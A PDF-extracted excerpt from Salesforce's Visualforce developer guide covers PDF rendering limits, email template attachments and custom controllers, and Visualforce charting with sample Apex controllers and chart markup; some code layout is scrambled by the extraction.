The font used on the page must be available on the Visualforce PDF rendering service. Web fonts aren’t supported.
209
Integrating Email with Visualforce Adding Attachments
•
If the PDF file fails to display all the page’s text, particularly multibyte characters such as Japanese or accented international characters, adjust your CSS to use a font that supports them. For example:
<apex:page showHeader= "false" applyBodyTag= "false" renderAs= "pdf" >
<head >
<style > body { font-family: 'Arial Unicode MS' ; }
</style >
</head >
<body >
これはサンプルページです。
<br/ >
This is a sample page: API version 28.0
</body >
</apex:page >
“Arial Unicode MS” is the only font supported for extended character sets that include multibyte characters.
•
If you use inline CSS styles, set the API version to 28.0 or later. Also set
<apex:page applyBodyTag= "false" >
, and add static, valid
<head >
and
<body >
tags to your page, as in the previous example.
•
The maximum response size when creating a PDF file must be less than 15 MB before being rendered as a PDF file. This limit is the standard limit for all Visualforce requests.
•
The maximum file size for a generated PDF file is 60 MB.
•
The maximum total size of all images included in a generated PDF is 30 MB.
•
PDF rendering doesn’t support images encoded in the data:
URI scheme format.
•
The following components don’t support double-byte fonts when rendered as PDF.
–
<apex:pageBlock >
–
<apex:sectionHeader >
These components aren’t recommended for use in pages rendered as PDF.
•
If an
<apex:dataTable >
or
<apex:pageBlockTable >
has no
<apex:column >
components that are rendered, rendering the page as PDF fails. To work around this issue, set the table component’s rendered
attribute to false
if none of its child
<apex:column >
components are rendered.
Adding Styles and Images
Attachments rendered as PDFs can reference static resources through the
. This enables you to refer to an image or stylesheet within the body of the PDF.
For example, the following attachment includes a logo in the PDF:
<messaging:attachment renderAs= "PDF" filename= "cases.pdf" >
<html >
<body >
<img src = "{!$Resource.logo}" />
...
</body >
</html >
</messaging:attachment >
210
Integrating Email with Visualforce Using Custom Controllers within Visualforce Email Templates
This attachment references a stylesheet you have saved as a static resource:
<messaging:attachment renderAs= "PDF" >
<html >
<link rel= 'stylesheet' type= 'text/css' href= '{!$Resource.EMAILCSS}' />
<body >
...
</body >
</html >
</messaging:attachment >
Warning:
Referencing static resources on a remote server can increase the time it takes to render a PDF attachment. You can’t reference remote resources when creating PDF attachments in an Apex trigger; doing so will result in an exception.
Using Custom Controllers within Visualforce Email Templates
Visualforce email templates can leverage custom controllers to render highly customized content. To do so, include a custom component in a Visualforce email template that uses that custom controller.
For example, suppose you want to display a list of all accounts beginning with the word “Smith” in an email template. To do this, first write a custom controller that uses a SOSL call to return a list of accounts that begin with “Smith”: public class findSmithAccounts { private final List<Account> accounts; public findSmithAccounts() {
} accounts = [select Name from Account where Name LIKE 'Smith_%' ];
} public List<Account> getSmithAccounts() {
} return accounts;
Next, create a custom component named smithAccounts
that uses this controller:
<apex:component controller= "findSmithAccounts" access= "global" >
<apex:dataTable value= "{!SmithAccounts}" var= "s_account" >
<apex:column >
<apex:facet name= "header" >Account Name </apex:facet >
{!s_account.Name}
</apex:column >
</apex:dataTable >
</apex:component >
Tip: Remember that all custom components used in Visualforce email templates must have an access
level of global
.
Finally, create a Visualforce email template that includes the smithAccounts
component:
<messaging:emailTemplate subject= "Embedding Apex Code" recipientType= "Contact" relatedToType= "Opportunity" >
<messaging:htmlEmailBody >
<p >As you requested, here 's a list of all our Smith accounts:</p>
<c:smithAccounts/ >
<p >Hope this helps with the {!relatedToType}.
</p >
211
Integrating Email with Visualforce Using Custom Controllers within Visualforce Email Templates
</messaging:htmlEmailBody >
</messaging:emailTemplate >
Notice that although the relatedToType
attribute is required by the emailTemplate
component, it does not have any effect on this example. It has the value of
"Opportunity"
only to show that it can take an object value that is different than the object used in the custom component.
Note: Sharing settings are enforced if your email templates use a standard controller. If your organization-wide default for the user object is set to Private and you need to access user information such as name and email address in your Visualforce email template, you can use a custom component or custom controller with the without sharing
keywords.
For information about sharing for the user object, see
User Sharing Overview
in the Salesforce online help.
212
CHAPTER 15 Visualforce Charting
Visualforce charting is a collection of components that provide a simple and intuitive way to create charts in your Visualforce pages and custom components.
What is Visualforce Charting?
Visualforce charting gives you an easy way to create customized business charts, based on data sets you create directly from SOQL queries, or by building the data set in your own Apex code. By combining and configuring individual data series, you can compose charts that display your data in ways meaningful to your organization.
Visualforce charts are rendered client-side using JavaScript. This allows charts to be animated and visually exciting, and chart data can load and reload asynchronously, which can make the page feel more responsive.
Why Would You Use Visualforce Charting?
Use Visualforce charting when the standard Salesforce charts and dashboards are insufficient, or when you wish to compose custom pages that combine charts and data tables in ways that are more useful to your organization.
Alternatives to Visualforce Charting
Salesforce provides a number of dashboards and reports, which support a variety of business charts. These charts can be simpler to create and customize because they do not require programming in Visualforce or Apex. See Dashboards Help You Visualize Complex
Information for more details about built-in charting and reporting.
Visualforce charting is designed to be flexible, but also easy to use. It offers variations on bar, line, area, and pie charts commonly used in business graphics, as well as radar, gauge, and scatter charts for more specialized charting. If you need different chart types, or want to add advanced user or page interactions, you might want to investigate using a JavaScript charting library instead. This is more work, but allows greater customization. For example, see
Integrating Visualforce and Google Charts
on page 131.
Using JavaScript in Visualforce
Pages on page 299 provides more information about how to use JavaScript libraries with Visualforce.
Visualforce Charting Limitations and Considerations
This section lists considerations and known limitations for Visualforce Charting.
•
Visualforce charts only render in browsers which support scalable vector graphics (SVG). For more information, see WC3 SVG Working
Group .
•
Visualforce charting uses JavaScript to draw the charts. Visualforce charts won’t display in pages rendered as PDFs.
•
Email clients do not usually support JavaScript execution in messages. Don’t use Visualforce charting in email messages or email templates.
213
Visualforce Charting How Visualforce Charting Works
•
Visualforce charting sends errors and messages to the JavaScript console. Keep a JavaScript debugging tool, such as Firebug, active during development.
•
Dynamic (Apex-generated) charting components are not supported at this time.
How Visualforce Charting Works
A Visualforce chart is defined using a series of charting components, which are then linked to a data source to be graphed on the chart.
Create a chart with Visualforce by doing the following:
1. Write an Apex method that queries for, calculates, and wraps your chart data to send to the browser.
2. Define your chart using the Visualforce charting components.
When the page containing the chart loads, the chart data is bound to a chart component, and the JavaScript that draws the chart is generated. When the JavaScript executes, the chart is drawn in the browser.
A Simple Charting Example
A Visualforce chart requires that you create a chart container component, which encloses at least one data series component. You can optionally add additional series components, chart axes, as well as labeling components such as a legend, chart labels, and tooltips for data points.
Here is a simple pie chart and the markup that creates it:
<apex:page controller= "PieChartController" title= "Pie Chart" >
<apex:chart height= "350" width= "450" data= "{!pieData}" >
<apex:pieSeries dataField= "data" labelField= "name" />
<apex:legend position= "right" />
</apex:chart >
</apex:page >
The
<apex:chart >
component defines the chart container, and binds the component to the data source, the getPieData() controller method. The
<apex:pieSeries >
describes the label and data fields to access in the returned data, to label and size each data point.
Here’s the associated controller: public class PieChartController { public List<PieWedgeData> getPieData() {
214
Visualforce Charting Providing Chart Data
List<PieWedgeData> data = new List<PieWedgeData>(); data.add( new PieWedgeData( 'Jan' , 30)); data.add( new PieWedgeData( 'Feb' , 15)); data.add( new PieWedgeData( 'Mar' , 10)); data.add( new PieWedgeData( 'Apr' , 20)); data.add( new PieWedgeData( 'May' , 20)); data.add( new PieWedgeData( 'Jun' , 5)); return data;
}
// Wrapper class public class PieWedgeData { public String name { get; set; } public Integer data { get; set; } public PieWedgeData( String name, Integer data) { this .name = name; this .data = data;
}
}
}
This controller is deliberately simple; you normally issue one or more SOQL queries to collect your data.
These are the important points illustrated by the example:
•
The getPieData()
method returns a List of simple objects, an inner class PieWedgeData used as a wrapper. Each element in the list is used to create a data point.
•
The PieWedgeData class is just a set of properties, and is essentially used as a name
=
value
store.
•
The chart series component
<apex:pieSeries >
defines which properties from the PieWedgeData class to use to determine each point in the series. In this simple example there’s no mystery, but in charts with multiple series and axes this convention allows the efficient return of the entire data set in one List object.
Providing Chart Data
A Visualforce chart binds to the source of its data through the data attribute on the
<apex:chart >
component.
Data can be provided several different ways:
•
As an expression that represents a controller method reference
•
As a string representing a JavaScript function
•
As a string representing a JavaScript array
SEE ALSO:
Providing Chart Data via a Controller Method
Providing Chart Data Using a JavaScript Function
Providing Chart Data via a JavaScript Array
215
Visualforce Charting Providing Chart Data
Providing Chart Data via a Controller Method
The most straightforward way to provide data to a chart is using a Visualforce expression that references a controller method. Simply reference the controller in the
<apex:chart > data
attribute.
Charting Example on page 214, sObjects, or
AggregateResult
objects. The method is evaluated server-side, and the results serialized to JSON. On the client, these results are used directly by
<apex:chart >
, with no further opportunity for processing.
To illustrate this technique with sObjects, here is a simple controller that returns a list of Opportunities, and a bar chart for their amounts: public class OppsController {
// Get a set of Opportunities public ApexPages.StandardSetController setCon { get { if (setCon == null ) {
} set; setCon = new ApexPages.StandardSetController(Database.getQueryLocator(
[SELECT name, type, amount, closedate FROM Opportunity])); setCon.setPageSize(5);
} return setCon;
} public List<Opportunity> getOpportunities() { return (List<Opportunity>) setCon.getRecords();
}
}
<apex:page controller= "OppsController" >
<apex:chart data= "{!Opportunities}" width= "600" height= "400" >
<apex:axis type= "Category" position= "left" fields= "Name" title= "Opportunities" />
<apex:axis type= "Numeric" position= "bottom" fields= "Amount" title= "Amount" />
<apex:barSeries orientation= "horizontal" axis= "bottom" xField= "Name" yField= "Amount" />
</apex:chart >
<apex:dataTable value= "{!Opportunities}" var= "opp" >
<apex:column headerValue= "Opportunity" value= "{!opp.name}" />
<apex:column headerValue= "Amount" value= "{!opp.amount}" />
</apex:dataTable >
</apex:page >
216
Visualforce Charting Providing Chart Data
There are two important things to notice about this example:
•
The Visualforce chart components access the data attributes from a List of Opportunity sObjects the same way as from the simple
Data object used in A Simple Charting Example on page 214.
•
The object field names used as data attributes are case-sensitive in JavaScript while field names in Apex and Visualforce are case-insensitive. Be careful to use the precise field name in the fields
, xField
, and yField
attributes of axes and data series components, or your chart will silently fail.
SEE ALSO:
Refreshing Chart Data Using <apex:actionSupport>
Providing Chart Data Using a JavaScript Function
To access data using JavaScript remoting, or an external (non-Salesforce) data source, provide the
<apex:chart >
component with the name of a JavaScript function that provides the data. That JavaScript function must be defined in or linked from your Visualforce page.
This function has the opportunity to manipulate the results before passing it to
<apex:chart >
, or to perform other user interface or page updates.
The JavaScript function must take a callback function as a parameter, and invoke the callback with the function's data result object. The simplest working JavaScript function looks like this:
<apex:page >
<script > function getRemoteData(callback) {
PieChartController.getRemotePieData(function(result, event) { if(event.status && result && result.constructor === Array) { callback(result);
}
});
}
</script >
<apex:chart data= "getRemoteData" ...> </apex:chart >
</apex:page >
217
Visualforce Charting Providing Chart Data
To support this chart, add the following controller method to the
PieChartController
class defined in A Simple Charting Example
on page 214:
@RemoteAction public static List<PieWedgeData> getRemotePieData() {
List<PieWedgeData> data = new List<PieWedgeData>(); data.add( new PieWedgeData( 'Jan' , 30)); data.add( new PieWedgeData( 'Feb' , 15)); data.add( new PieWedgeData( 'Mar' , 10)); data.add( new PieWedgeData( 'Apr' , 20)); data.add( new PieWedgeData( 'May' , 20)); data.add( new PieWedgeData( 'Jun' , 5)); return data;
}
SEE ALSO:
JavaScript Remoting for Apex Controllers
Refreshing Chart Data Using JavaScript Remoting
Providing Chart Data via a JavaScript Array
You can use Visualforce charting with non-Salesforce data sources by building a JavaScript array, in your own JavaScript code in your page, and providing the name of that array to
<apex:chart >
.
The following trivial code illustrates this technique:
<apex:page >
<script >
// Build the chart data array in JavaScript var dataArray = new Array(); dataArray.push({ 'data1' :33, 'data2' :66, 'data3' :80, 'name' : 'Jan' }); dataArray.push({ 'data1' :33, 'data2' :66, 'data3' :80, 'name' : 'Feb' });
// ...
</script >
<apex:chart data= "dataArray" ...> </apex:chart >
</apex:page >
When using this technique, if your data is coming from a non-Salesforce source, you might not need any server-side Apex code at all.
SEE ALSO:
Chart Data Format
Data provided to a Visualforce chart must meet some specific requirements. Every element in the data collection must contain all fields referenced in the
<apex:chart >
component hierarchy that is bound to that data source. If all fields aren’t provided, a client-side
JavaScript error is thrown, which you can view in a JavaScript console such as Firebug.
Chart data provided by an Apex method should be a List of uniform objects. These objects can be simple wrappers, sObjects, or
AggregateResult
objects. Data fields can be made accessible as public member variables or properties.
218
Visualforce Charting Building a Complex Chart with Visualforce Charting
Chart data provided by JavaScript methods should be a JavaScript array of arrays. Each inner array represents a record or data point. Data fields are made accessible as name: value pairs. See
Providing Chart Data via a JavaScript Array
on page 218 for an example.
SEE ALSO:
Providing Chart Data via a JavaScript Array
Building a Complex Chart with Visualforce Charting
Use Visualforce charting to assemble a variety of chart components into a complex chart that represents multiple sets of related data.
The end result can be quite sophisticated and attention getting.
The Chart Controller
It includes more data, and methods that can be called by
remote JavaScript invocation :
public class ChartController {
// Return a list of data points for a chart public List<Data> getData() { return ChartController.getChartData();
}
// Make the chart data available via JavaScript remoting
@RemoteAction public static List<Data> getRemoteData() { return ChartController.getChartData();
}
// The actual chart data; needs to be static to be
// called by a @RemoteAction method public static List<Data> getChartData() {
List<Data> data = new List<Data>(); data.add( new Data( 'Jan' , 30, 90, 55)); data.add( new Data( 'Feb' , 44, 15, 65)); data.add( new Data( 'Mar' , 25, 32, 75)); data.add( new Data( 'Apr' , 74, 28, 85)); data.add( new Data( 'May' , 65, 51, 95)); data.add( new Data( 'Jun' , 33, 45, 99)); data.add( new Data( 'Jul' , 92, 82, 30)); data.add( new Data( 'Aug' , 87, 73, 45)); data.add( new Data( 'Sep' , 34, 65, 55)); data.add( new Data( 'Oct' , 78, 66, 56)); data.add( new Data( 'Nov' , 80, 67, 53)); data.add( new Data( 'Dec' , 17, 70, 70)); return data;
}
// Wrapper class public class Data { public String name { get; set; } public Integer data1 { get; set; }
219
Visualforce Charting Building a Complex Chart with Visualforce Charting public Integer data2 { get; set; } public Integer data3 { get; set; } public Data( String name, Integer data1, Integer data2, Integer data3) { this .name = name; this .data1 = data1; this .data2 = data2; this .data3 = data3;
}
}
}
Note:
The
@RemoteAction
method isn’t used in the chart examples in this topic, but it illustrates how you can re-use your data generation method for both server-side and JavaScript remoting methods.
Creating a Simple Line Chart
Here is a simple line chart that graphs one of the three data series in the data set, “Opportunities Closed-Won,” over a calendar year:
<apex:page controller= "ChartController" >
<apex:chart height= "400" width= "700" data= "{!data}" >
<apex:axis type= "Numeric" position= "left" fields= "data1" title= "Opportunities Closed" grid= "true" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" >
</apex:axis >
<apex:lineSeries axis= "left" fill= "true" xField= "name" yField= "data1" markerType= "cross" markerSize= "4" markerFill= "#FF0000" />
</apex:chart >
</apex:page >
Things to note about this example:
•
Line and bar charts require you to define the X and Y axes for the chart.
•
The vertical axis is defined on the left side of the chart, and measures the dollar amount of the Opportunities closed in that month.
•
The horizontal axis is defined on the bottom of the chart, and represents the months of the calendar year.
•
The actual line chart, the
<apex:lineSeries >
component, is bound to a specific axis.
220
Visualforce Charting Building a Complex Chart with Visualforce Charting
•
There are a number of marker attributes that you can use to differentiate each line in the chart.
Adding a Second Data Series
Adding a second data series with the same unit of measure is simple. Here, the “Opportunities Closed-Lost” data set is added as a second line series:
<apex:page controller= "ChartController" >
<apex:chart height= "400" width= "700" data= "{!data}" >
<apex:axis type= "Numeric" position= "left" fields= "data1,data2" title= "Opportunities Closed" grid= "true" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" >
</apex:axis >
<apex:lineSeries axis= "left" fill= "true" xField= "name" yField= "data1" markerType= "cross" markerSize= "4" markerFill= "#FF0000" />
<apex:lineSeries axis= "left" xField= "name" yField= "data2" markerType= "circle" markerSize= "4" markerFill= "#8E35EF" />
</apex:chart >
</apex:page >
The important thing to note is how both data1
and data2
fields are bound to the vertical
<apex:axis >
by the fields attribute of that component. This allows the charting engine to determine appropriate scale and tick marks for the axis.
Adding a Bar Chart Series with a Second Axis
To add another data series, but charted against a different set of units, you need to add a second vertical axis. The following example shows a data series, “Revenue by Month,” added as a bar chart:
221
Visualforce Charting Building a Complex Chart with Visualforce Charting
<apex:page controller= "ChartController" >
<apex:chart height= "400" width= "700" data= "{!data}" >
<apex:axis type= "Numeric" position= "left" fields= "data1,data2" title= "Opportunities Closed" grid= "true" />
<apex:axis type= "Numeric" position= "right" fields= "data3" title= "Revenue (millions)" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" />
<apex:lineSeries axis= "left" fill= "true" xField= "name" yField= "data1" markerType= "cross" markerSize= "4" markerFill= "#FF0000" />
<apex:lineSeries axis= "left" xField= "name" yField= "data2" markerType= "circle" markerSize= "4" markerFill= "#8E35EF" />
<apex:barSeries orientation= "vertical" axis= "right" xField= "name" yField= "data3" />
</apex:chart >
</apex:page >
Notice the following:
•
To add a data series with a new unit of measure, you need to add a second vertical axis on the right side of the chart.
•
You can have up to four different axes, one for each edge of the chart.
•
The bar chart is set to a vertical orientation and bound to the right axis. Bind a horizontal bar chart to the top or bottom axis.
Adding a Legend, Labels, and Chart Tips
You can improve the comprehensibility of the chart by adding a chart legend, series labels, and by making sure that chart labels are readable:
222
Visualforce Charting Building a Complex Chart with Visualforce Charting
<apex:page controller= "ChartController" >
<apex:chart height= "400" width= "700" data= "{!data}" >
<apex:legend position= "right" />
<apex:axis type= "Numeric" position= "left" fields= "data1" title= "Opportunities Closed" grid= "true" />
<apex:axis type= "Numeric" position= "right" fields= "data3" title= "Revenue (millions)" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" >
<apex:chartLabel rotate= "315" />
</apex:axis >
<apex:barSeries title= "Monthly Sales" orientation= "vertical" axis= "right" xField= "name" yField= "data3" >
<apex:chartTips height= "20" width= "120" />
</apex:barSeries >
<apex:lineSeries title= "Closed-Won" axis= "left" xField= "name" yField= "data1" fill= "true" markerType= "cross" markerSize= "4" markerFill= "#FF0000" />
<apex:lineSeries title= "Closed-Lost" axis= "left" xField= "name" yField= "data2" markerType= "circle" markerSize= "4" markerFill= "#8E35EF" />
</apex:chart >
</apex:page >
Note the following about the additions:
•
, the bar chart was in the foreground. In this example, the bar chart has been placed in the background because the
<apex:barSeries > component is before the two
<apex:lineSeries >
components.
•
The
<apex:legend >
component can be in any of four positions: left, right, top, or bottom. The legend is placed within the boundary of the chart; in this example the legend has compressed the horizontal width of the chart itself.
•
Add legend titles using the data series component title
attribute.
•
To rotate the labels for the bottom chart axis, the
<apex:chartLabel >
component is enclosed in the
<apex:axis > component it affects.
223
Visualforce Charting Updating Charts with Refreshed Data
•
The
<apex:chartTips >
component enables rollover tool tips that provide additional information about each data point in the series that encloses it.
SEE ALSO:
How Visualforce Charting Works
Updating Charts with Refreshed Data
Redraw a chart with new or updated data by using the
<apex:actionSupport >
component, or by using JavaScript remoting and your own JavaScript code.
<apex:actionSupport >
allows you to update the chart using only Visualforce. JavaScript remoting requires you to write some
JavaScript code, but provides more flexibility and smoother transitions.
IN THIS SECTION:
Refreshing Chart Data Using <apex:actionSupport>
Update a Visualforce chart in response to a user’s actions by adding the
<apex:actionSupport >
component to Visualforce user interface elements that affect the chart’s data.
Refreshing Chart Data Using JavaScript Remoting
Update a Visualforce chart periodically, or in response to a user’s actions, using custom JavaScript. JavaScript code can respond to complex user activity or timer events, and use JavaScript remoting to retrieve new chart data whenever required.
Refreshing Chart Data Using
<apex:actionSupport >
Update a Visualforce chart in response to a user’s actions by adding the
<apex:actionSupport >
component to Visualforce user interface elements that affect the chart’s data.
The following markup displays a pie chart that can be updated by choosing a new year from a menu next to the chart:
<apex:page controller= "PieChartRemoteController" >
<apex:pageBlock title= "Charts" >
<apex:pageBlockSection title= "Standard Visualforce Charting" >
<apex:outputPanel id= "theChart" >
<apex:chart height= "350" width= "450" data= "{!pieData}" >
<apex:pieSeries dataField= "data" labelField= "name" />
<apex:legend position= "right" />
</apex:chart >
</apex:outputPanel >
<apex:form >
<apex:selectList value= "{!chartYear}" size= "1" >
<apex:selectOptions value= "{!chartYearOptions}" />
<apex:actionSupport event= "onchange" reRender= "theChart" status= "actionStatusDisplay" />
</apex:selectList >
<apex:actionStatus id= "actionStatusDisplay" startText= "loading..." stopText= "" />
</apex:form >
224
Visualforce Charting Refreshing Chart Data Using <apex:actionSupport>
</apex:pageBlockSection >
</apex:pageBlock >
</apex:page >
This markup attaches a chart component to its data source by setting the chart’s data
attribute to the Visualforce expression
{!pieData}
. The expression calls the getPieData()
controller method, which returns the data. The chart is wrapped in an
<apex:outputPanel >
with an id
attribute of theChart
.
An
<apex:form >
component is used to submit a new year back to the page’s controller when the chart needs to be updated. The
<apex:selectList >
tag displays the years available to chart, and a child
<apex:actionSupport >
tag submits the form whenever the menu changes. The id
of the chart’s
<apex:outputPanel >
, theChart
, is used in the
<apex:actionSupport > reRender
attribute to limit updating to the chart, instead of reloading the whole page. Finally, an
<apex:actionStatus >
component provides a status message while the chart is refreshing. It’s easy to replace the minimal text message with an animated graphic or text effect.
PieChartRemoteController
The controller for this page is an expansion of the pie chart controller used in
on page 214.
public class PieChartRemoteController {
// The year to be charted public String chartYear { get {
} set; if (chartYear == Null) chartYear = '2013' ; return chartYear;
}
// Years available to be charted, for <apex:selectList> public static List<SelectOption> getChartYearOptions() {
List<SelectOption> years = new List<SelectOption>(); years.add( new SelectOption( '2013' , '2013' )); years.add( new SelectOption( '2012' , '2012' )); years.add( new SelectOption( '2011' , '2011' )); years.add( new SelectOption( '2010' , '2010' )); return years;
} public List<PieWedgeData> getPieData() {
// Visualforce expressions can't pass parameters, so get from property return PieChartRemoteController.generatePieData( this .chartYear);
}
@RemoteAction public static List<PieWedgeData> getRemotePieData( String year) {
// Remoting calls can send parameters with the call return PieChartRemoteController.generatePieData(year);
}
// Private data "generator"
225
Visualforce Charting Refreshing Chart Data Using JavaScript Remoting private static List<PieWedgeData> generatePieData( String year) {
List<PieWedgeData> data = new List<PieWedgeData>(); if (year.equals( '2013' )) {
// These numbers are absolute quantities, not percentages
// The chart component will calculate the percentages data.add( new PieWedgeData( 'Jan' , 30)); data.add( new PieWedgeData( 'Feb' , 15)); data.add( new PieWedgeData( 'Mar' , 10)); data.add( new PieWedgeData( 'Apr' , 20)); data.add( new PieWedgeData( 'May' , 20)); data.add( new PieWedgeData( 'Jun' , 5));
} else { data.add( new PieWedgeData( 'Jan' , 20)); data.add( new PieWedgeData( 'Feb' , 35)); data.add( new PieWedgeData( 'Mar' , 30)); data.add( new PieWedgeData( 'Apr' , 40)); data.add( new PieWedgeData( 'May' , 5)); data.add( new PieWedgeData( 'Jun' , 10));
} return data;
}
// Wrapper class public class PieWedgeData { public String name { get; set; } public Integer data { get; set; } public PieWedgeData( String name, Integer data) { this .name = name; this .data = data;
}
}
}
This controller supports providing data to a Visualforce chart two different ways:
•
Using a Visualforce expression,
{!pieData}
, which calls the instance method getPieData()
.
•
Using JavaScript remoting, by calling the
@RemoteAction
static method getRemotePieData()
from a JavaScript method.
SEE ALSO:
Refreshing Chart Data Using JavaScript Remoting
Providing Chart Data via a Controller Method
Refreshing Chart Data Using JavaScript Remoting
Update a Visualforce chart periodically, or in response to a user’s actions, using custom JavaScript. JavaScript code can respond to complex user activity or timer events, and use JavaScript remoting to retrieve new chart data whenever required.
226
Visualforce Charting Refreshing Chart Data Using JavaScript Remoting
The following markup displays a pie chart that can be updated by choosing a new year from a menu next to the chart:
<apex:page controller= "PieChartRemoteController" >
<script > function retrieveChartData(callback) { var year = document.getElementById( 'theYear' ).value;
Visualforce.remoting.Manager.invokeAction(
'{!$RemoteAction.PieChartRemoteController.getRemotePieData}' , year, function(result, event) { if(event.status && result && (result.constructor === Array)) { callback(result);
RemotingPieChart.show();
} else if (event.type === 'exception' ) { document.getElementById( "remoteResponseErrors" ).innerHTML = event.message
+
'<br/>' + event.where;
} else { document.getElementById( "remoteResponseErrors" ).innerHTML = event.message;
}
},
{ escape: true }
);
} function refreshRemoteChart() { var statusElement = document.getElementById( 'statusDisplay' ); statusElement.innerHTML = "loading..." ; retrieveChartData(function(statusElement){ return function(data){
RemotingPieChart.reload(data);
);
}
</script > statusElement.innerHTML = '' ;
};
}(statusElement)
<apex:pageBlock title= "Charts" >
<apex:pageBlockSection title= "Visualforce Charting + JavaScript Remoting" >
<apex:chart height= "350" width= "450" data= "retrieveChartData" name= "RemotingPieChart" hidden= "true" >
<apex:pieSeries dataField= "data" labelField= "name" />
<apex:legend position= "right" />
</apex:chart >
<div >
<select id= "theYear" onChange= "refreshRemoteChart();" >
<option value= "2013" >2013 </option >
<option value= "2012" >2012 </option >
<option value= "2011" >2011 </option >
227
Visualforce Charting Refreshing Chart Data Using JavaScript Remoting
<option value= "2010" >2010 </option >
</select >
<span id= "statusDisplay" > </span >
<span id= "remoteResponseErrors" > </span >
</div >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:page >
This markup attaches a chart component to its data source by setting the chart’s data
attribute to the name of a JavaScript function, retrieveChartData
, which returns the data. The name of the function is provided as a string.
A static HTML
<select >
menu displays the years available to chart. The menu is not associated with a form element of any kind, and its value is never submitted directly back to the controller. Instead, the
<select >
menu’s onChange
attribute calls a JavaScript function, refreshRemoteChart()
, whenever the menu changes. There are two additional static HTML elements: two
<span > tags with IDs. The
<span >
tags are empty when the page loads, and are updated via JavaScript to display status and error messages when necessary.
The two JavaScript functions that precede the Visualforce markup are the glue between the Visualforce chart and the
@RemoteAction controller method that provides the data. There are three links between the functions and the chart component:
1. The chart component’s data
attribute is set to “retrieveChartData”, the name of the first JavaScript function. This tells the chart component to use the JavaScript function to load its data. The chart component invokes retrieveChartData()
directly
only once, when the chart is first created and the data is initially loaded.
2. Reloading happens when the second JavaScript function, refreshRemoteChart()
, is called. This is the second link, from the theYear
menu. When the year menu changes, refreshRemoteChart()
is invoked, and it re-invokes the retrieveChartData()
function to load a new set of data.
3. When refreshRemoteChart()
invokes retrieveChartData()
, it provides an anonymous function as a callback, which handles the result of the
@RemoteAction
call when it returns. This callback updates the chart by calling
RemotingPieChart.reload(data)
. The chart itself is
RemotingPieChart
, named by setting the name
attribute, and reload()
is a JavaScript function available on Visualforce charts once created, which accepts new data and then redraws the chart.
This diagram illustrates these links between the different components of the page:
228
Visualforce Charting Refreshing Chart Data Using JavaScript Remoting
The sequence for the initial loading of the chart is simple: the
<apex:chart >
named
RemotePieChart
calls retrieveChartData()
to get its initial data, and retrieveChartData()
calls
RemotePieChart.show()
when it has the data. And, the chart appears.
Updates are more complicated. When a new year is chosen from the theYear
menu, the menu’s onChange
event fires, which calls the refreshRemoteChart()
function. refreshRemoteChart()
in turn calls the retrieveChartData()
function, and when the
@RemoteAction
returns new data, retrieveChartData()
(via the callback provided by refreshRemoteChart()
) calls
RemotePieChart.reload()
. And, the chart updates.
Here are a couple of other items to note:
•
The
<apex:chart >
uses the hidden= "true"
attribute to prevent the chart from displaying before there’s data to display.
The retrieveChartData()
function calls
RemotingPieChart.show()
to display the chart once the chart data is loaded. This and
RemotingPieChart.reload()
provide for much smoother chart animations than can be achieved using
<apex:actionSupport >
.
•
The refreshRemoteData()
function sets the statusElement
HTML
<span >
to a “loading…” message before it attempts to update the data by calling retrieveChartData()
, and then the anonymous callback function sets it to an empty string to hide the message once the data is returned and the chart updated. It’s a bit more work than using
<apex:actionStatus >
, for basically the same effect. You can easily show a “busy” animation or graphic using the same technique.
PieChartRemoteController
The controller for this page is an expansion of the pie chart controller used in
on page 214.
public class PieChartRemoteController {
// The year to be charted public String chartYear { get {
229
Visualforce Charting Refreshing Chart Data Using JavaScript Remoting
} set; if (chartYear == Null) chartYear = '2013' ; return chartYear;
}
// Years available to be charted, for <apex:selectList> public static List<SelectOption> getChartYearOptions() {
List<SelectOption> years = new List<SelectOption>(); years.add( new SelectOption( '2013' , '2013' )); years.add( new SelectOption( '2012' , '2012' )); years.add( new SelectOption( '2011' , '2011' )); years.add( new SelectOption( '2010' , '2010' )); return years;
} public List<PieWedgeData> getPieData() {
// Visualforce expressions can't pass parameters, so get from property return PieChartRemoteController.generatePieData( this .chartYear);
}
@RemoteAction public static List<PieWedgeData> getRemotePieData( String year) {
// Remoting calls can send parameters with the call return PieChartRemoteController.generatePieData(year);
}
// Private data "generator" private static List<PieWedgeData> generatePieData( String year) {
List<PieWedgeData> data = new List<PieWedgeData>(); if (year.equals( '2013' )) {
// These numbers are absolute quantities, not percentages
// The chart component will calculate the percentages data.add( new PieWedgeData( 'Jan' , 30)); data.add( new PieWedgeData( 'Feb' , 15)); data.add( new PieWedgeData( 'Mar' , 10)); data.add( new PieWedgeData( 'Apr' , 20)); data.add( new PieWedgeData( 'May' , 20)); data.add( new PieWedgeData( 'Jun' , 5));
} else { data.add( new PieWedgeData( 'Jan' , 20)); data.add( new PieWedgeData( 'Feb' , 35)); data.add( new PieWedgeData( 'Mar' , 30)); data.add( new PieWedgeData( 'Apr' , 40)); data.add( new PieWedgeData( 'May' , 5)); data.add( new PieWedgeData( 'Jun' , 10));
} return data;
}
// Wrapper class public class PieWedgeData {
230
Visualforce Charting Controlling the Appearance of Charts public String name { get; set; } public Integer data { get; set; } public PieWedgeData( String name, Integer data) { this .name = name; this .data = data;
}
}
}
This controller supports providing data to a Visualforce chart two different ways:
•
Using a Visualforce expression,
{!pieData}
, which calls the instance method getPieData()
.
•
Using JavaScript remoting, by calling the
@RemoteAction
static method getRemotePieData()
from a JavaScript method.
SEE ALSO:
Refreshing Chart Data Using <apex:actionSupport>
Providing Chart Data Using a JavaScript Function
JavaScript Remoting for Apex Controllers
Controlling the Appearance of Charts
Visualforce charts are highly customizable. You can combine various types of data series, control the colors of most elements in a chart, and control the look of markers, lines, and so on.
You can customize the following:
•
Line and fill colors for data series elements.
•
Opacity of fill colors and lines.
•
Marker shape and color for data points.
•
Line width for connecting lines.
•
Highlighting for data elements.
•
Tick and grid line styles for axes.
•
Legends, labels, and “tool tip”-style rollover annotations.
require combinations of attributes and components, and are explained more completely in this document.
Chart Colors
By default, chart colors match those of the built-in reporting and analytics charts so that you can create visually-consistent dashboards.
If you want to create your own color scheme you can customize the colors of most chart elements.
To provide a set of color definitions to draw data series elements (bars, pie wedges, and so on), use the colorSet
attribute. Set
<apex:chart colorSet= "..." >
